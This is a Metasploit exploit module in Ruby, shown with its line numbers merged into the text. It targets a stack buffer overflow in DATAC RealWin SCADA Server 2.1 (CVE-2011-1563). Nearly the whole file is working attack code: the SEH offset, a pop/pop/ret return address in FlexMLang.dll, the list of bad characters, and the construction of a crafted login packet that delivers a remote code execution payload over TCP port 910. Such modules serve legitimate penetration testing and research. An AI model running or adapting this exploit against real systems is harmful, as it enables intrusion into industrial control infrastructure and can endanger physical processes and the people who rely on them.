Path: blob/master/modules/exploits/windows/scada/realwin_on_fcs_login.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'RealWin SCADA Server DATAC Login Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in DATAC Control18International RealWin SCADA Server 2.1 (Build 6.0.10.10) or19earlier. By sending a specially crafted On_FC_CONNECT_FCS_LOGIN20packet containing a long username, an attacker may be able to21execute arbitrary code.22},23'Author' => [24'Luigi Auriemma', # discovery25'MC',26'B|H <bh[AT]bufferattack.com>'27],28'License' => MSF_LICENSE,29'References' => [30[ 'CVE', '2011-1563'],31[ 'OSVDB', '72824'],32[ 'URL', 'http://aluigi.altervista.org/adv/realwin_2-adv.txt' ],33[ 'URL', 'http://www.dataconline.com/software/realwin.php' ],34[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-110-01']35],36'Privileged' => true,37'DefaultOptions' => {38'EXITFUNC' => 'thread',39},40'Payload' => {41'Space' => 450,42'BadChars' => "\x00\x20\x0a\x0d",43'StackAdjustment' => -3500,44},45'Platform' => 'win',46'Targets' => [47[48'Universal',49{50'Offset' => 392, # Offset to SEH51'Ret' => 0x40012540, # pop/pop/ret @FlexMLang.dll52}53],54],55'DefaultTarget' => 0,56'DisclosureDate' => '2011-03-21',57'Notes' => {58'Reliability' => UNKNOWN_RELIABILITY,59'Stability' => UNKNOWN_STABILITY,60'SideEffects' => UNKNOWN_SIDE_EFFECTS61}62)63)6465register_options([Opt::RPORT(910)])66end6768def exploit69data = [0x67542310].pack('V')70data << [0x00000824].pack('V')71data << [0x00110011].pack('V')72data << "\x01\x00"73data << rand_text_alpha_upper(target['Offset'])74data << generate_seh_payload(target.ret)75data << rand_text_alpha_upper(17706 - payload.encoded.length)76data << [0x451c3500].pack('V')77data << [0x00000154].pack('V')78data << [0x00020040].pack('V')7980connect81print_status("Trying target #{target.name}...")82sock.put(data)83select(nil, nil, nil, 0.5)84handler85disconnect86end87end888990